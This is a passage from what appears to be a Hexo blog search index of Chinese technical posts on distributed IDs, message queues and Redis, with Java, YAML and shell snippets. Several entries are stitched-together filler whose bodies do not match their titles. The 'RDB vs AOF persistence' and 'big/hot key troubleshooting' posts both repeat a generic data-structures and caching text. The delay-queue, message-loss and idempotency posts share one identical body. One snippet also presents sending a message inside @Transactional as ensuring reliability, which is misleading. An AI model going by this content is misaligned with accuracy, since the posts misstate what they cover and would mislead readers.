(timestamp &lt; lastTimestamp) &#123;</span><br><span class="line">    <span class="comment">// 等待时钟恢复或抛出异常</span></span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;Clock moved backwards&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-分布式部署"><a href="#2-分布式部署" class="headerlink" title="2. 分布式部署"></a>2. 分布式部署</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 每个节点配置不同的 workerId</span></span><br><span class="line"><span class="attr">app:</span></span><br><span class="line">  <span class="attr">worker-id:</span> <span class="string">$&#123;HOSTNAME:0&#125;</span>  <span class="comment"># 使用主机名或环境变量</span></span><br></pre></td></tr></table></figure><h3 id="3-ID-长度限制"><a href="#3-ID-长度限制" class="headerlink" title="3. ID 长度限制"></a>3. ID 长度限制</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 考虑数据库字段类型</span></span><br><span class="line"><span class="comment">// BIGINT: -9e18 ~ 9e18 (64位)</span></span><br><span class="line"><span class="comment">// INT: -2e9 ~ 2e9 (32位)</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择分布式 ID 方案的关键：</p><ol><li><strong>简单场景</strong>：使用 UUID 或数据库自增</li><li><strong>高并发场景</strong>：使用雪花算法</li><li><strong>需要灵活控制</strong>：使用 Redis</li><li><strong>多数据中心</strong>：使用带数据中心信息的方案</li></ol><p>我在多个项目中根据不同场景选择了不同的方案，关键是理解每种方案的优缺点。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列：揭秘削峰填谷的底层逻辑</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列：揭秘削峰填谷的底层逻辑"><a href="#消息队列：揭秘削峰填谷的底层逻辑" class="headerlink" title="消息队列：揭秘削峰填谷的底层逻辑"></a>消息队列：揭秘削峰填谷的底层逻辑</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="什么是削峰填谷"><a href="#什么是削峰填谷" class="headerlink" title="什么是削峰填谷"></a>什么是削峰填谷</h2><p>#</p><h2 id="问题场景"><a href="#问题场景" class="headerlink" title="问题场景"></a>问题场景</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">高峰期：每秒 10000 次请求</span><br><span class="line">处理能力：每秒 1000 次</span><br><span class="line"></span><br><span class="line">如果直接处理：</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│ 10000 req/s                        │</span><br><span class="line">└──────────────┬──────────────────────┘</span><br><span class="line">               │</span><br><span class="line">               ▼</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│ 系统崩溃或响应超时                  │</span><br><span class="line">└─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">使用消息队列后：</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│ 10000 req/s                        │</span><br><span class="line">└──────────────┬──────────────────────┘</span><br><span class="line">               │</span><br><span class="line">               ▼</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│ 消息队列（缓冲）                    │</span><br><span class="line">│ ┌────────────────────────────────┐  │</span><br><span class="line">│ │ 消息堆积区                     │  │</span><br><span class="line">│ └────────────────────────────────┘  │</span><br><span class="line">└──────────────┬──────────────────────┘</span><br><span class="line">               │ 1000 req/s</span><br><span class="line">               ▼</span><br><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│ 消费者（匀速处理）                  │</span><br><span class="line">└─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="核心原理"><a href="#核心原理" class="headerlink" title="核心原理"></a>核心原理</h2><p>#</p><h2 id="1-异步解耦"><a href="#1-异步解耦" class="headerlink" title="1. 异步解耦"></a>1. 异步解耦</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 生产者：发送消息后立即返回</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RabbitTemplate rabbitTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 保存订单</span></span><br><span class="line">        orderRepository.save(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 发送消息（异步）</span></span><br><span class="line">        rabbitTemplate.convertAndSend(</span><br><span class="line">            <span class="string">&quot;exchange.order&quot;</span>, </span><br><span class="line">            <span class="string">&quot;order.created&quot;</span>, </span><br><span class="line">            order.getId()</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 立即返回，不等待下游处理</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-流量整形"><a href="#2-流量整形" class="headerlink" title="2. 流量整形"></a>2. 流量整形</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 消费者：匀速消费</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderConsumer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@RabbitListener(queues = &quot;queue.order.created&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleOrderCreated</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">        <span class="comment">// 处理订单创建后的业务</span></span><br><span class="line">        notificationService.sendSms(orderId);</span><br><span class="line">        inventoryService.updateStock(orderId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-峰值缓冲"><a href="#3-峰值缓冲" class="headerlink" title="3. 峰值缓冲"></a>3. 峰值缓冲</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># RabbitMQ 配置示例</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">rabbitmq:</span></span><br><span class="line">    <span class="attr">listener:</span></span><br><span class="line">      <span class="attr">simple:</span></span><br><span class="line">        <span class="attr">concurrency:</span> <span class="number">10</span>    <span class="comment"># 最小消费者数</span></span><br><span class="line">        <span class="attr">max-concurrency:</span> <span class="number">50</span> <span class="comment"># 最大消费者数</span></span><br><span class="line">        <span class="attr">prefetch:</span> <span class="number">100</span>       <span class="comment"># 每次预取消息数</span></span><br></pre></td></tr></table></figure><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p>#</p><h2 id="案例一：秒杀场景"><a href="#案例一：秒杀场景" class="headerlink" title="案例一：秒杀场景"></a>案例一：秒杀场景</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SeckillService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RabbitTemplate rabbitTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">seckill</span><span class="params">(Long productId, Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 先判断库存（快速失败）</span></span><br><span class="line">        <span class="keyword">if</span> (!inventoryService.hasStock(productId)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;库存不足&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 发送秒杀请求到队列</span></span><br><span class="line">        <span class="type">SeckillRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SeckillRequest</span>(productId, userId);</span><br><span class="line">        rabbitTemplate.convertAndSend(<span class="string">&quot;exchange.seckill&quot;</span>, <span class="string">&quot;seckill&quot;</span>, request);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;排队中&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例二：日志收集"><a href="#案例二：日志收集" class="headerlink" title="案例二：日志收集"></a>案例二：日志收集</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> KafkaTemplate&lt;String, LogEntry&gt; kafkaTemplate;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">log</span><span class="params">(LogEntry entry)</span> &#123;</span><br><span class="line">        <span class="comment">// 异步发送到 Kafka</span></span><br><span class="line">        kafkaTemplate.send(<span class="string">&quot;logs&quot;</span>, entry);</span><br><span class="line">        <span class="comment">// 不等待确认，直接返回</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="关键配置"><a href="#关键配置" class="headerlink" title="关键配置"></a>关键配置</h2><p>#</p><h2 id="队列容量"><a href="#队列容量" class="headerlink" title="队列容量"></a>队列容量</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 设置队列最大长度</span></span><br><span class="line"><span class="attr">queue.order:</span></span><br><span class="line">  <span class="attr">max-length:</span> <span class="number">100000</span>  <span class="comment"># 最多存储 10 万条消息</span></span><br><span class="line">  <span class="attr">overflow:</span> <span class="string">reject-publish</span> <span class="comment"># 超出时拒绝新消息</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="死信队列"><a href="#死信队列" class="headerlink" title="死信队列"></a>死信队列</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 死信队列配置</span></span><br><span class="line"><span class="attr">queue.order.dlx:</span></span><br><span class="line">  <span class="attr">dead-letter-exchange:</span> <span class="string">exchange.dlx</span></span><br><span class="line">  <span class="attr">dead-letter-routing-key:</span> <span class="string">dlx.order</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="重试机制"><a href="#重试机制" class="headerlink" title="重试机制"></a>重试机制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Retryable(</span></span><br><span class="line"><span class="meta">    retryFor = &#123;Exception.class&#125;,</span></span><br><span class="line"><span class="meta">    maxAttempts = 3,</span></span><br><span class="line"><span class="meta">    backoff = @Backoff(delay = 1000, multiplier = 2)</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processMessage</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">    <span class="comment">// 业务处理逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-消息丢失问题"><a href="#1-消息丢失问题" class="headerlink" title="1. 消息丢失问题"></a>1. 消息丢失问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用事务保证消息可靠性</span></span><br><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">    orderRepository.save(order);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 发送消息（在事务内）</span></span><br><span class="line">    rabbitTemplate.convertAndSend(<span class="string">&quot;exchange.order&quot;</span>, <span class="string">&quot;order.created&quot;</span>, order.getId());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-消息重复问题"><a href="#2-消息重复问题" class="headerlink" title="2. 消息重复问题"></a>2. 消息重复问题</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 幂等处理</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handleMessage</span><span class="params">(Message message)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">messageId</span> <span class="operator">=</span> message.getMessageId();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 检查是否已处理</span></span><br><span class="line">    <span class="keyword">if</span> (redisTemplate.hasKey(<span class="string">&quot;processed:&quot;</span> + messageId)) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 处理业务</span></span><br><span class="line">    processBusiness(message);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 标记已处理</span></span><br><span class="line">    redisTemplate.opsForValue().set(<span class="string">&quot;processed:&quot;</span> + messageId, <span class="string">&quot;1&quot;</span>, Duration.ofDays(<span class="number">1</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-消息积压监控"><a href="#3-消息积压监控" class="headerlink" title="3. 消息积压监控"></a>3. 消息积压监控</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 监控队列长度</span></span><br><span class="line">rabbitmqctl list_queues name messages</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看消费者状态</span></span><br><span class="line">rabbitmqctl list_consumers</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列削峰填谷的关键：</p><ol><li><strong>异步处理</strong>：将同步调用转为异步消息</li><li><strong>流量缓冲</strong>：通过队列存储峰值请求</li><li><strong>匀速消费</strong>：控制消费速度，保护下游系统</li><li><strong>弹性伸缩</strong>：根据队列长度动态调整消费者数量</li></ol><p>我在多个高并发项目中都使用了消息队列来实现削峰填谷，效果非常显著。希望这些经验能帮到你。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化-RDB-和-AOF-怎么选"><a href="#Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="Redis 持久化 RDB 和 AOF 怎么选"></a>Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
